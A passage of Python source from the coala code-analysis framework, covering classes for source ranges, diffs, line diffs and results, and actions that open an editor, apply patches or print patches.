    :param source_range:  Source Range
    :return:              list of file contents without specified chars removed
    """
    if not file_contents:
        return []

    newfile = list(file_contents)
    # attention: line numbers in the SourceRange are human-readable,
    # list indices start with 0

    source_range = source_range.expand(file_contents)

    if source_range.start.line == source_range.end.line:
        # if it's all in one line, replace the line by it's beginning and end
        newfile[source_range.start.line - 1] = (
            newfile[source_range.start.line - 1][:source_range.start.column-1]
            + newfile[source_range.start.line - 1][source_range.end.column:])
        if newfile[source_range.start.line - 1] == "":
            del newfile[source_range.start.line - 1]
    else:
        # cut away after start
        newfile[source_range.start.line - 1] = (
            newfile[source_range.start.line - 1][:source_range.start.column-1])

        # cut away before end
        newfile[source_range.end.line - 1] = (
            newfile[source_range.end.line - 1][source_range.end.column:])

        # start: index = first line number ==> line after first line
        # end: index = last line -2 ==> line before last line

        for i in reversed(range(
                source_range.start.line, source_range.end.line - 1)):
            del newfile[i]

        # remove leftover empty lines
        # the first line here is actually the former `source_range.end.line -1`
        if newfile[source_range.start.line] == "":
            del newfile[source_range.start.line]
        if newfile[source_range.start.line - 1] == "":
            del newfile[source_range.start.line - 1]

    return newfile


def remove_result_ranges_diffs(result_list, file_dict):
    """
    Calculates the diffs to all files in file_dict that describe the removal of
    each respective result's affected code.

    :param result_list: list of results
    :param file_dict:   dict of file contents
    :return:            returnvalue[result][file] is a diff of the changes the
                        removal of this result's affected code would cause for
                        the file.
    """
    result_diff_dict_dict = {}
    for original_result in result_list:
        mod_file_dict = copy.deepcopy(file_dict)

        # gather all source ranges from this result
        source_ranges = []

        # SourceRanges must be sorted backwards and overlaps must be eliminated
        # this way, the deletion based on sourceRanges is not offset by
        # previous deletions in the same line that invalidate the indices.
        previous = None

        for source_range in sorted(original_result.affected_code, reverse=True):
            # previous exists and overlaps
            if previous is not None and source_range.overlaps(previous):
                combined_sr = SourceRange.join(previous, source_range)
                previous = combined_sr
            elif previous is None:
                previous = source_range
            # previous exists but it doesn't overlap
            else:
                source_ranges.append(previous)
                previous = source_range
        # don't forget last entry if there were any:
        if previous:
            source_ranges.append(previous)

        for source_range in source_ranges:
            file_name = source_range.file
            new_file = remove_range(mod_file_dict[file_name],
                                    source_range)
            mod_file_dict[file_name] = new_file

        diff_dict = {}
        for file_name in file_dict:
            diff_dict[file_name] = Diff.from_string_arrays(
                file_dict[file_name],
                mod_file_dict[file_name])

        result_diff_dict_dict[original_result] = diff_dict

    return result_diff_dict_dict


def ensure_files_present(original_file_dict, modified_file_dict):
    """
    Ensures that all files are available as keys in both dicts.

    :param original_file_dict: Dict of lists of file contents before  changes
    :param modified_file_dict: Dict of lists of file contents after changes
    :return:                   Return a dictionary of renamed files.
    """
    original_files = set(original_file_dict.keys())
    modified_files = set(modified_file_dict.keys())
    affected_files = original_files | modified_files
    original_unique_files = affected_files - modified_files
    renamed_files_dict = {}
    for file in filter(
            lambda filter_file: filter_file not in original_files,
            affected_files):
        for comparable_file in original_unique_files:
            s = SequenceMatcher(
                None,
                ''.join(modified_file_dict[file]),
                ''.join(original_file_dict[comparable_file]))
            if s.real_quick_ratio() >= 0.5 and s.ratio() > 0.5:
                renamed_files_dict[comparable_file] = file
                break
        else:
            original_file_dict[file] = []
    for file in filter(
            lambda filter_file: filter_file not in modified_files,
            affected_files):
        modified_file_dict[file] = []
    return renamed_files_dict












from os.path import relpath

from coala_utils.decorators import enforce_signature, get_public_members
from coalib.results.SourcePosition import SourcePosition
from coalib.results.TextRange import TextRange
from coalib.results.AbsolutePosition import AbsolutePosition


class SourceRange(TextRange):

    @enforce_signature
    def __init__(self,
                 start: SourcePosition,
                 end: (SourcePosition, None)=None):
        """
        Creates a new SourceRange.

        :param start:       A SourcePosition indicating the start of the range.
        :param end:         A SourcePosition indicating the end of the range.
                            If ``None`` is given, the start object will be used
                            here. end must be in the same file and be greater
                            than start as negative ranges are not allowed.
        :raises TypeError:  Raised when
                            - start is not of type SourcePosition.
                            - end is neither of type SourcePosition, nor is it
                              None.
        :raises ValueError: Raised when file of start and end mismatch.
        """
        TextRange.__init__(self, start, end)

        if self.start.file != self.end.file:
            raise ValueError("File of start and end position do not match.")

    @classmethod
    def from_values(cls,
                    file,
                    start_line=None,
                    start_column=None,
                    end_line=None,
                    end_column=None):
        start = SourcePosition(file, start_line, start_column)
        if end_line or (end_column and end_column > start_column):
            end = SourcePosition(file, end_line if end_line else start_line,
                                 end_column)
        else:
            end = None

        return cls(start, end)

    @classmethod
    def from_clang_range(cls, range):
        """
        Creates a SourceRange from a clang SourceRange object.

        :param range: A cindex.SourceRange object.
        """
        return cls.from_values(range.start.file.name,
                               range.start.line,
                               range.start.column,
                               range.end.line,
                               range.end.column)

    @classmethod
    @enforce_signature
    def from_absolute_position(cls,
                               file: str,
                               position_start: AbsolutePosition,
                               position_end: (AbsolutePosition, None)=None):
        """
        Creates a SourceRange from a start and end positions.

        :param file:           Name of the file.
        :param position_start: Start of range given by AbsolutePosition.
        :param position_end:   End of range given by AbsolutePosition or None.
        """
        start = SourcePosition(file, position_start.line, position_start.column)
        end = None
        if position_end:
            end = SourcePosition(file, position_end.line, position_end.column)
        return cls(start, end)

    @property
    def file(self):
        return self.start.file

    @enforce_signature
    def renamed_file(self, file_diff_dict: dict):
        """
        Retrieves the filename this source range refers to while taking the
        possible file renamings in the given file_diff_dict into account:

        :param file_diff_dict: A dictionary with filenames as key and their
                               associated Diff objects as values.
        """
        diff = file_diff_dict.get(self.file)
        if diff is None:
            return self.file

        return diff.rename if diff.rename is not False else self.file

    def expand(self, file_contents):
        """
        Passes a new SourceRange that covers the same area of a file as this
        one would. All values of None get replaced with absolute values.

        values of None will be interpreted as follows:
        self.start.line is None:   -> 1
        self.start.column is None: -> 1
        self.end.line is None:     -> last line of file
        self.end.column is None:   -> last column of self.end.line

        :param file_contents: File contents of the applicable file
        :return:              TextRange with absolute values
        """
        tr = TextRange.expand(self, file_contents)

        return SourceRange.from_values(self.file,
                                       tr.start.line,
                                       tr.start.column,
                                       tr.end.line,
                                       tr.end.column)

    def __json__(self, use_relpath=False):
        _dict = get_public_members(self)
        if use_relpath:
            _dict['file'] = relpath(_dict['file'])
        return _dict






from coalib.results.Result import Result


class HiddenResult(Result):
    """
    This is a result that is not meant to be shown to the user. It can be used
    to transfer any data from a dependent bear to others.
    """

    def __init__(self, origin, contents):
        """
        Creates a new HiddenResult. The contents can be accessed with
        obj.contents later.

        :param origin:   The originating bear.
        :param contents: Any object that is picklable since it will be
                         transferred across processes.
        """
        Result.__init__(self, origin, "")

        self.contents = contents






from coalib.results.TextPosition import TextPosition
from coala_utils.decorators import enforce_signature


class AbsolutePosition(TextPosition):

    @enforce_signature
    def __init__(self,
                 text: (tuple, list, None)=None,
                 position: (int, None)=None):
        """
        Creates an AbsolutePosition object that represents the index of a
        character in a string.

        :param text:     The text containing the character.
        :param position: Position identifying the index of character
                         in text.
        """
        line = column = None
        if position is not None and text is not None:
            line, column = calc_line_col(text, position)
        self._text = text
        self._position = position
        super().__init__(line, column)

    @property
    def position(self):
        return self._position


def calc_line_col(text, position):
    r"""
    Creates a tuple containing (line, column) by calculating line number
    and column in the text, from position.

    The position represents the index of a character. In the following
    example 'a' is at position '0' and it's corresponding line and column are:

    >>> calc_line_col(('a\n',), 0)
    (1, 1)

    All special characters(including the newline character) belong in the same
    line, and have their own position. A line is an item in the tuple:

    >>> calc_line_col(('a\n', 'b\n'), 1)
    (1, 2)
    >>> calc_line_col(('a\n', 'b\n'), 2)
    (2, 1)

    :param text:          A tuple/list of lines in which position is to
                          be calculated.
    :param position:      Position (starting from 0) of character to be found
                          in the (line, column) form.
    :return:              A tuple of the form (line, column), where both line
                          and column start from 1.
    """
    for linenum, line in enumerate(text, start=1):
        linelen = len(line)
        if position < linelen:
            return linenum, position + 1
        position -= linelen

    raise ValueError("Position not found in text")






import copy
import difflib

from coalib.results.LineDiff import LineDiff, ConflictError
from coalib.results.SourceRange import SourceRange
from coala_utils.decorators import enforce_signature, generate_eq


@generate_eq("_file", "modified", "rename", "delete")
class Diff:
    """
    A Diff result represents a difference for one file.
    """

    def __init__(self, file_list, rename=False, delete=False):
        """
        Creates an empty diff for the given file.

        :param file_list: The original (unmodified) file as a list of its
                          lines.
        :param rename:    False or str containing new name of file.
        :param delete:    True if file is set to be deleted.
        """
        self._changes = {}
        self._file = file_list
        self.rename = rename
        self.delete = delete

    @classmethod
    def from_string_arrays(cls, file_array_1, file_array_2, rename=False):
        """
        Creates a Diff object from two arrays containing strings.

        If this Diff is applied to the original array, the second array will be
        created.

        :param file_array_1: Original array
        :param file_array_2: Array to compare
        :param rename:       False or str containing new name of file.
        """
        result = cls(file_array_1, rename=rename)

        matcher = difflib.SequenceMatcher(None, file_array_1, file_array_2)
        # We use this because its faster (generator) and doesn't yield as much
        # useless information as get_opcodes.
        for change_group in matcher.get_grouped_opcodes(1):
            for (tag,
                 a_index_1,
                 a_index_2,
                 b_index_1,
                 b_index_2) in change_group:
                if tag == "delete":
                    for index in range(a_index_1+1, a_index_2+1):
                        result.delete_line(index)
                elif tag == "insert":
                    # We add after line, they add before, so dont add 1 here
                    result.add_lines(a_index_1,
                                     file_array_2[b_index_1:b_index_2])
                elif tag == "replace":
                    result.change_line(a_index_1+1,
                                       file_array_1[a_index_1],
                                       file_array_2[b_index_1])
                    result.add_lines(a_index_1+1,
                                     file_array_2[b_index_1+1:b_index_2])
                    for index in range(a_index_1+2, a_index_2+1):
                        result.delete_line(index)

        return result

    @classmethod
    def from_clang_fixit(cls, fixit, file):
        """
        Creates a Diff object from a given clang fixit and the file contents.

        :param fixit: A cindex.Fixit object.
        :param file:  A list of lines in the file to apply the fixit to.
        :return:      The corresponding Diff object.
        """
        assert isinstance(file, (list, tuple))

        oldvalue = '\n'.join(file[fixit.range.start.line-1:
                                  fixit.range.end.line])
        endindex = fixit.range.end.column - len(file[fixit.range.end.line-1])-1

        newvalue = (oldvalue[:fixit.range.start.column-1] +
                    fixit.value +
                    oldvalue[endindex:])
        new_file = (file[:fixit.range.start.line-1] +
                    type(file)(newvalue.splitlines(True)) +
                    file[fixit.range.end.line:])

        return cls.from_string_arrays(file, new_file)

    def _get_change(self, line_nr, min_line=1):
        if not isinstance(line_nr, int):
            raise TypeError("line_nr needs to be an integer.")
        if line_nr < min_line:
            raise ValueError("The given line number is not allowed.")

        return self._changes.get(line_nr, LineDiff())

    def stats(self):
        """
        Returns tuple containing number of additions and deletions in the diff.
        """
        additions = 0
        deletions = 0
        for line_diff in self._changes.values():
            if line_diff.change:
                additions += 1
                deletions += 1
            elif line_diff.delete:
                deletions += 1
            if line_diff.add_after:
                additions += len(line_diff.add_after)
        return additions, deletions

    def __len__(self):
        """
        Returns total number of additions and deletions in diff.
        """
        return sum(self.stats())

    @property
    def rename(self):
        """
        :return: string containing new name of the file.
        """
        return self._rename

    @rename.setter
    @enforce_signature
    def rename(self, rename: (str, False)):
        """
        :param rename: False or string containing new name of file.
        """
        self._rename = rename

    @property
    def delete(self):
        """
        :return: True if file is set to be deleted.
        """
        return self._delete

    @delete.setter
    @enforce_signature
    def delete(self, delete: bool):
        """
        :param delete: True if file is set to be deleted, False otherwise.
        """
        self._delete = delete

    @property
    def original(self):
        """
        Retrieves the original file.
        """
        return self._file

    @property
    def modified(self):
        """
        Calculates the modified file, after applying the Diff to the original.
        """
        result = []

        if self.delete:
            return result

        current_line = 0

        # Note that line_nr counts from _1_ although 0 is possible when
        # inserting lines before everything
        for line_nr in sorted(self._changes):
            result.extend(self._file[current_line:max(line_nr-1, 0)])
            linediff = self._changes[line_nr]
            if not linediff.delete and not linediff.change and line_nr > 0:
                result.append(self._file[line_nr-1])
            elif linediff.change:
                result.append(linediff.change[1])

            if linediff.add_after:
                result.extend(linediff.add_after)

            current_line = line_nr

        result.extend(self._file[current_line:])

        return result

    @property
    def unified_diff(self):
        """
        Generates a unified diff corresponding to this patch.

        Note that the unified diff is not deterministic and thus not suitable
        for equality comparison.
        """
        return ''.join(difflib.unified_diff(
            self.original,
            self.modified,
            tofile=self.rename if isinstance(self.rename, str) else ''))

    def __json__(self):
        """
        Override JSON export, using the unified diff is the easiest thing for
        the users.
        """
        return self.unified_diff

    def affected_code(self, filename):
        """
        Creates a list of SourceRange objects which point to the related code.
        Changes on continuous lines will be put into one SourceRange.

        :param filename: The filename to associate the SourceRange's to.
        :return:         A list of all related SourceRange objects.
        """
        return list(diff.range(filename)
                    for diff in self.split_diff(distance=0))

    def split_diff(self, distance=1):
        """
        Splits this diff into small pieces, such that several continuously
        altered lines are still together in one diff. All subdiffs will be
        yielded.

        A diff like this with changes being together closely won't be splitted:

        >>> diff = Diff.from_string_arrays([     'b', 'c', 'e'],
        ...                                ['a', 'b', 'd', 'f'])
        >>> len(list(diff.split_diff()))
        1

        If we set the distance to 0, it will be splitted:

        >>> len(list(diff.split_diff(distance=0)))
        2

        If a negative distance is given, every change will be yielded as an own
        diff, even if they are right beneath each other:

        >>> len(list(diff.split_diff(distance=-1)))
        3

        If a file gets renamed or deleted only, it will be yielded as is:

        >>> len(list(Diff([], rename='test').split_diff()))
        1

        An empty diff will not yield any diffs:

        >>> len(list(Diff([]).split_diff()))
        0

        :param distance: Number of unchanged lines that are allowed in between
                         two changed lines so they get yielded as one diff.
        """
        if not self:
            return

        last_line = -1
        this_diff = Diff(self._file, rename=self.rename, delete=self.delete)
        for line in sorted(self._changes.keys()):
            if line > last_line + distance + 1 and len(this_diff._changes) > 0:
                yield this_diff
                this_diff = Diff(self._file, rename=self.rename,
                                 delete=self.delete)

            last_line = line
            this_diff._changes[line] = self._changes[line]

        # If the diff contains no line changes, the loop above will not be run
        # else, this_diff will never be empty and thus this has to be yielded
        # always.
        yield this_diff

    def range(self, filename):
        """
        Calculates a SourceRange spanning over the whole Diff. If something is
        added after the 0th line (i.e. before the first line) the first line
        will be included in the SourceRange.

        The range of an empty diff will only affect the filename:

        >>> range = Diff([]).range("file")
        >>> range.file is None
        False
        >>> print(range.start.line)
        None

        :param filename: The filename to associate the SourceRange with.
        :return:         A SourceRange object.
        """
        if len(self._changes) == 0:
            return SourceRange.from_values(filename)

        start = min(self._changes.keys())
        end = max(self._changes.keys())
        return SourceRange.from_values(filename,
                                       start_line=max(1, start),
                                       end_line=max(1, end))

    def __add__(self, other):
        """
        Adds another diff to this one. Will throw an exception if this is not
        possible. (This will *not* be done in place.)
        """
        if not isinstance(other, Diff):
            raise TypeError("Only diffs can be added to a diff.")

        if self.rename != other.rename and False not in (self.rename,
                                                         other.rename):
            raise ConflictError("Diffs contain conflicting renamings.")

        result = copy.deepcopy(self)
        result.rename = self.rename or other.rename
        result.delete = self.delete or other.delete

        for line_nr in other._changes:
            change = other._changes[line_nr]
            if change.delete is True:
                result.delete_line(line_nr)
            if change.add_after is not False:
                result.add_lines(line_nr, change.add_after)
            if change.change is not False:
                result.change_line(line_nr, change.change[0], change.change[1])

        return result

    def __bool__(self):
        """
        >>> bool(Diff([]))
        False
        >>> bool(Diff([], rename="some"))
        True
        >>> bool(Diff([], delete=True))
        True
        >>> bool(Diff.from_string_arrays(['1'], []))
        True

        :return: False if the patch has no effect at all when applied.
        """
        return (self.rename is not False or
                self.delete is True or
                len(self._changes) > 0)

    def delete_line(self, line_nr):
        """
        Mark the given line nr as deleted. The first line is line number 1.
        """
        linediff = self._get_change(line_nr)
        linediff.delete = True
        self._changes[line_nr] = linediff

    def delete_lines(self, line_nr_start, line_nr_end):
        """
        Delete lines in a specified range, inclusively.
        """
        for line_nr in range(line_nr_start, line_nr_end + 1):
            self.delete_line(line_nr)

    def add_lines(self, line_nr_before, lines):
        """
        Adds lines after the given line number.

        :param line_nr_before: Line number of the line before the additions.
                               Use 0 for insert lines before everything.
        :param lines:          A list of lines to add.
        """
        if lines == []:
            return  # No action

        linediff = self._get_change(line_nr_before, min_line=0)
        if linediff.add_after is not False:
            raise ConflictError("Cannot add lines after the given line since "
                                "there are already lines.")

        linediff.add_after = lines
        self._changes[line_nr_before] = linediff

    def change_line(self, line_nr, original_line, replacement):
        """
        Changes the given line with the given line number. The replacement will
        be there instead.
        """
        linediff = self._get_change(line_nr)
        if linediff.change is not False and linediff.change[1] != replacement:
            raise ConflictError("An already changed line cannot be changed.")

        linediff.change = (original_line, replacement)
        self._changes[line_nr] = linediff






import uuid
from os.path import relpath

from coala_utils.decorators import (
    enforce_signature, generate_ordering, generate_repr, get_public_members)
from coalib.results.RESULT_SEVERITY import RESULT_SEVERITY
from coalib.results.SourceRange import SourceRange


# Omit additional info, debug message and diffs for brevity
@generate_repr(("id", hex),
               "origin",
               "affected_code",
               ("severity", RESULT_SEVERITY.reverse.get),
               "confidence",
               "message")
@generate_ordering("affected_code",
                   "severity",
                   "confidence",
                   "origin",
                   "message",
                   "additional_info",
                   "debug_msg")
class Result:
    """
    A result is anything that has an origin and a message.

    Optionally it might affect a file.
    """

    @enforce_signature
    def __init__(self,
                 origin,
                 message: str,
                 affected_code: (tuple, list)=(),
                 severity: int=RESULT_SEVERITY.NORMAL,
                 additional_info: str="",
                 debug_msg="",
                 diffs: (dict, None)=None,
                 confidence: int=100):
        """
        :param origin:          Class name or creator object of this object.
        :param message:         Message to show with this result.
        :param affected_code:   A tuple of SourceRange objects pointing to
                                related positions in the source code.
        :param severity:        Severity of this result.
        :param additional_info: A long description holding additional
                                information about the issue and/or how to fix
                                it. You can use this like a manual entry for a
                                category of issues.
        :param debug_msg:       A message which may help the user find out why
                                this result was yielded.
        :param diffs:           A dictionary with filenames as key and a
                                sequence of ``Diff`` objects associated with
                                them as values.
        :param confidence:      A number between 0 and 100 describing the
                                likelihood of this result being a real issue.
        :raises ValueError:     Raised when confidence is not between 0 and 100.
        """
        origin = origin or ""
        if not isinstance(origin, str):
            origin = origin.__class__.__name__
        if severity not in RESULT_SEVERITY.reverse:
            raise ValueError("severity is not a valid RESULT_SEVERITY")

        self.origin = origin
        self.message = message
        self.debug_msg = debug_msg
        self.additional_info = additional_info
        # Sorting is important for tuple comparison
        self.affected_code = tuple(sorted(affected_code))
        self.severity = severity
        if confidence < 0 or confidence > 100:
            raise ValueError('Value of confidence should be between 0 and 100.')
        self.confidence = confidence
        self.diffs = diffs
        self.id = uuid.uuid4().int

    @classmethod
    @enforce_signature
    def from_values(cls,
                    origin,
                    message: str,
                    file: str,
                    line: (int, None)=None,
                    column: (int, None)=None,
                    end_line: (int, None)=None,
                    end_column: (int, None)=None,
                    severity: int=RESULT_SEVERITY.NORMAL,
                    additional_info: str="",
                    debug_msg="",
                    diffs: (dict, None)=None,
                    confidence: int=100):
        """
        Creates a result with only one SourceRange with the given start and end
        locations.

        :param origin:          Class name or class of the creator of this
                                object.
        :param message:         A message to explain the result.
        :param file:            The related file.
        :param line:            The first related line in the file.
                                (First line is 1)
        :param column:          The column indicating the first character.
                                (First character is 1)
        :param end_line:        The last related line in the file.
        :param end_column:      The column indicating the last character.
        :param severity:        A RESULT_SEVERITY object.
        :param debug_msg:       Another object useful for debugging purposes.
        :param additional_info: A long description holding additional
                                information about the issue and/or how to fix
                                it. You can use this like a manual entry for a
                                category of issues.
        :param diffs:           A dictionary with filenames as key and a
                                sequence of ``Diff`` objects associated with
                                them as values.
        :param confidence:      A number between 0 and 100 describing the
                                likelihood of this result being a real issue.
        """
        range = SourceRange.from_values(file,
                                        line,
                                        column,
                                        end_line,
                                        end_column)

        return cls(origin=origin,
                   message=message,
                   affected_code=(range,),
                   severity=severity,
                   additional_info=additional_info,
                   debug_msg=debug_msg,
                   diffs=diffs,
                   confidence=confidence)

    def to_string_dict(self):
        """
        Makes a dictionary which has all keys and values as strings and
        contains all the data that the base Result has.

        FIXME: diffs are not serialized ATM.
        FIXME: Only the first SourceRange of affected_code is serialized. If
        there are more, this data is currently missing.

        :return: Dictionary with keys and values as string.
        """
        retval = {}

        members = ["id",
                   "additional_info",
                   "debug_msg",
                   "message",
                   "origin",
                   "confidence"]

        for member in members:
            value = getattr(self, member)
            retval[member] = "" if value == None else str(value)

        retval["severity"] = str(RESULT_SEVERITY.reverse.get(
            self.severity, ""))
        if len(self.affected_code) > 0:
            retval["file"] = self.affected_code[0].file
            line = self.affected_code[0].start.line
            retval["line_nr"] = "" if line is None else str(line)
        else:
            retval["file"], retval["line_nr"] = "", ""

        return retval

    @enforce_signature
    def apply(self, file_dict: dict):
        """
        Applies all contained diffs to the given file_dict. This operation will
        be done in-place.

        :param file_dict: A dictionary containing all files with filename as
                          key and all lines a value. Will be modified.
        """
        for filename in self.diffs:
            file_dict[filename] = self.diffs[filename].modified

    def __add__(self, other):
        """
        Joins those patches to one patch.

        :param other: The other patch.
        """
        assert isinstance(self.diffs, dict)
        assert isinstance(other.diffs, dict)

        for filename in other.diffs:
            if filename in self.diffs:
                self.diffs[filename] += other.diffs[filename]
            else:
                self.diffs[filename] = other.diffs[filename]

        return self

    def overlaps(self, ranges):
        """
        Determines if the result overlaps with source ranges provided.

        :param ranges: A list SourceRange objects to check for overlap.
        :return:       True if the ranges overlap with the result.
        """
        if isinstance(ranges, SourceRange):
            ranges = [ranges]

        for range in ranges:
            for self_range in self.affected_code:
                if range.overlaps(self_range):
                    return True

        return False

    def location_repr(self):
        """
        Retrieves a string, that briefly represents
        the affected code of the result.

        :return: A string containing all of the affected files
                 separated by a comma.
        """

        if not self.affected_code:
            return "the whole project"

        # Set important to exclude duplicate file names
        range_paths = set(sourcerange.file
                          for sourcerange in self.affected_code)

        return ', '.join(repr(relpath(range_path))
                         for range_path in sorted(range_paths))

    def __json__(self, use_relpath=False):
        _dict = get_public_members(self)
        if use_relpath and _dict['diffs']:
            _dict['diffs'] = {relpath(file): diff
                              for file, diff in _dict['diffs'].items()}
        return _dict






import collections

from coala_utils.decorators import generate_repr


class ConflictError(Exception):
    pass


@generate_repr('change', 'delete', 'add_after')
class LineDiff:
    """
    A LineDiff holds the difference between two strings.
    """

    def __init__(self, change=False, delete=False, add_after=False):
        """
        Creates a new LineDiff object. Note that a line cannot be
        changed _and_ deleted at the same time.

        :param change: False or a tuple (original, replacement)
        :param delete: True/False
        :param add_after: False or a list of lines to append after this ones
        """
        # change property setter will need this value for assertion
        self._delete = False

        self.change = change
        self.delete = delete
        self.add_after = add_after

    def __eq__(self, other):
        return (self.change == other.change and
                self.delete == other.delete and
                self.add_after == other.add_after)

    @property
    def change(self):
        return self._change

    @change.setter
    def change(self, value):
        if value is not False and not isinstance(value, tuple):
            raise TypeError("change must be False or a tuple with an original "
                            "and a replacement string.")
        if value is not False and self.delete is not False:
            raise ConflictError("A line cannot be changed and deleted "
                                "at the same time.")

        self._change = value

    @property
    def delete(self):
        return self._delete

    @delete.setter
    def delete(self, value):
        if not isinstance(value, bool):
            raise TypeError("delete can only be a boolean value.")
        if value is not False and self.change is not False:
            raise ConflictError("A line cannot be changed and deleted "
                                "at the same time.")

        self._delete = value

    @property
    def add_after(self):
        return self._add_after

    @add_after.setter
    def add_after(self, value):
        if value is not False and not isinstance(value, collections.Iterable):
            raise TypeError(
                "add_after must be False or a list of lines to append.")
        if isinstance(value, collections.Iterable):
            value = list(value)
        self._add_after = value if value != [] else False






from coalib.results.Result import Result
from coalib.results.result_actions.ResultAction import ResultAction


class PrintMoreInfoAction(ResultAction):

    @staticmethod
    def is_applicable(result, original_file_dict, file_diff_dict):
        return isinstance(result, Result) and result.additional_info != ""

    def apply(self, result, original_file_dict, file_diff_dict):
        """
        Print additional information given by the result.
        """
        print(result.additional_info)

        return file_diff_dict






import subprocess
from os.path import exists

from coalib.results.Diff import Diff
from coalib.results.Result import Result
from coalib.results.result_actions.ResultAction import ResultAction

EDITOR_ARGS = {
    "subl": "--wait",
    "gedit": "-s",
    "atom": "--wait"
}


GUI_EDITORS = ["kate", "gedit", "subl", "atom"]


class OpenEditorAction(ResultAction):

    SUCCESS_MESSAGE = "Changes saved successfully."

    @staticmethod
    def is_applicable(result, original_file_dict, file_diff_dict):
        """
        For being applicable, the result has to point to a number of files
        that have to exist i.e. have not been previously deleted.
        """
        if not isinstance(result, Result) or not len(result.affected_code) > 0:
            return False

        filenames = set(src.renamed_file(file_diff_dict)
                        for src in result.affected_code)
        return all(exists(filename) for filename in filenames)

    def apply(self, result, original_file_dict, file_diff_dict, editor: str):
        '''
        Open the affected file(s) in an editor.

        :param editor: The editor to open the file with.
        '''
        # Use set to remove duplicates
        filenames = {src.file: src.renamed_file(file_diff_dict)
                     for src in result.affected_code}

        editor_args = [editor] + list(filenames.values())
        arg = EDITOR_ARGS.get(editor.strip(), None)
        if arg:
            editor_args.append(arg)

        # Dear user, you wanted an editor, so you get it. But do you really
        # think you can do better than we?
        if editor in GUI_EDITORS:
            subprocess.call(editor_args, stdout=subprocess.PIPE)
        else:
            subprocess.call(editor_args)

        for original_name, filename in filenames.items():
            with open(filename, encoding='utf-8') as file:
                file_diff_dict[original_name] = Diff.from_string_arrays(
                    original_file_dict[original_name], file.readlines(),
                    rename=False if original_name == filename else filename)

        return file_diff_dict






"""
A ResultAction is an action that is applicable to at least some results. This
file serves the base class for all result actions, thus providing a unified
interface for all actions.
"""
from coala_utils.decorators import enforce_signature
from coalib.settings.FunctionMetadata import FunctionMetadata
from coalib.settings.Section import Section


class ResultAction:

    SUCCESS_MESSAGE = "The action was executed successfully."

    @staticmethod
    def is_applicable(result, original_file_dict, file_diff_dict):
        """
        Checks whether the Action is valid for the result type.

        Returns ``True`` by default.

        :param result:             The result from the coala run to check if an
                                   Action is applicable.
        :param original_file_dict: A dictionary containing the files in the
                                   state where the result was generated.
        :param file_diff_dict:     A dictionary containing a diff for every
                                   file from the state in the
                                   original_file_dict to the current state.
                                   This dict will be altered so you do not
                                   need to use the return value.
        """
        return True

    def apply(self, result, original_file_dict, file_diff_dict, **kwargs):
        """
        This action has no description although it should. Probably something
        went wrong.
        """
        raise NotImplementedError

    @enforce_signature
    def apply_from_section(self,
                           result,
                           original_file_dict: dict,
                           file_diff_dict: dict,
                           section: Section):
        """
        Applies this action to the given results with all additional options
        given as a section. The file dictionaries
        are needed for differential results.

        :param result:             The result to apply.
        :param original_file_dict: A dictionary containing the files in the
                                   state where the result was generated.
        :param file_diff_dict:     A dictionary containing a diff for every
                                   file from the state in the
                                   original_file_dict to the current state.
                                   This dict will be altered so you do not
                                   need to use the return value.
        :param section:            The section where to retrieve the additional
                                   information.
        :return                    The modified file_diff_dict.
        """
        params = self.get_metadata().create_params_from_section(section)
        return self.apply(result, original_file_dict, file_diff_dict, **params)

    @classmethod
    def get_metadata(cls):
        """
        Retrieves metadata for the apply function. The description may be used
        to advertise this action to the user. The parameters and their help
        texts are additional information that are needed from the user. You can
        create a section out of the inputs from the user and use
        apply_from_section to apply

        :return A FunctionMetadata object.
        """
        data = FunctionMetadata.from_function(
            cls.apply,
            omit={"self", "result", "original_file_dict", "file_diff_dict"})
        data.name = cls.__name__

        return data






import shutil
from os.path import isfile
from os import remove

from coalib.results.Diff import ConflictError
from coalib.results.result_actions.ResultAction import ResultAction


class ApplyPatchAction(ResultAction):

    SUCCESS_MESSAGE = "Patch applied successfully."

    @staticmethod
    def is_applicable(result, original_file_dict, file_diff_dict):
        if not result.diffs:
            return False

        try:
            for filename in result.diffs:
                if filename in file_diff_dict:
                    result.diffs[filename].__add__(
                        file_diff_dict[filename])

            return True
        except ConflictError:
            return False

    def apply(self,
              result,
              original_file_dict,
              file_diff_dict,
              no_orig: bool=False):
        """
        Apply the patch automatically.

        :param no_orig: Whether or not to create .orig backup files
        """
        for filename in result.diffs:
            pre_patch_filename = filename
            if filename in file_diff_dict:
                diff = file_diff_dict[filename]
                pre_patch_filename = (diff.rename
                                      if diff.rename is not False
                                      else filename)
                file_diff_dict[filename] += result.diffs[filename]
            else:
                file_diff_dict[filename] = result.diffs[filename]

                # Backup original file, only if there was no previous patch
                # from this run though!
                if not no_orig and isfile(pre_patch_filename):
                    shutil.copy2(pre_patch_filename,
                                 pre_patch_filename + ".orig")

            diff = file_diff_dict[filename]
            if diff.delete or diff.rename:
                if isfile(pre_patch_filename):
                    remove(pre_patch_filename)
            if not diff.delete:
                new_filename = (diff.rename
                                if diff.rename is not False
                                else filename)
                with open(new_filename, mode='w', encoding='utf-8') as file:
                    file.writelines(diff.modified)

        return file_diff_dict






import difflib
from os.path import relpath, join

from pyprint.ConsolePrinter import ConsolePrinter

from coalib.results.Diff import ConflictError
from coalib.results.Result import Result
from coalib.results.result_actions.ResultAction import ResultAction


def format_line(line, real_nr="", sign="|", mod_nr="", symbol="", ):
    return "|{:>4}{}{:>4}|{:1}{}".format(real_nr,
                                         sign,
                                         mod_nr,
                                         symbol,
                                         line.rstrip("\n"))


def print_from_name(printer, line):
    printer.print(format_line(line, real_nr="----"), color="red")


def print_to_name(printer, line):
    printer.print(format_line(line, mod_nr="++++"), color="green")


def print_beautified_diff(difflines, printer):
    current_line_added = None
    current_line_subtracted = None
    for line in difflines:
        if line.startswith("@@"):
            values = line[line.find("-"):line.rfind(" ")]
            subtracted, added = tuple(values.split(" "))
            current_line_added = int(added.split(",")[0][1:])
            current_line_subtracted = int(subtracted.split(",")[0][1:])
        elif line.startswith("---"):
            print_from_name(printer, line[4:])
        elif line.startswith("+++"):
            print_to_name(printer, line[4:])
        elif line.startswith("+"):
            printer.print(format_line(line[1:],
                                      mod_nr=current_line_added,
                                      symbol="+"),
                          color="green")
            current_line_added += 1
        elif line.startswith("-"):
            printer.print(format_line(line[1:],
                                      real_nr=current_line_subtracted,
                                      symbol="-"),
                          color="red")
            current_line_subtracted += 1
        else:
            printer.print(format_line(line[1:],
                                      real_nr=current_line_subtracted,
                                      mod_nr=current_line_added,
                                      symbol=" "))
            current_line_subtracted += 1
            current_line_added += 1


class ShowPatchAction(ResultAction):

    SUCCESS_MESSAGE = "Displayed patch successfully."

    @staticmethod
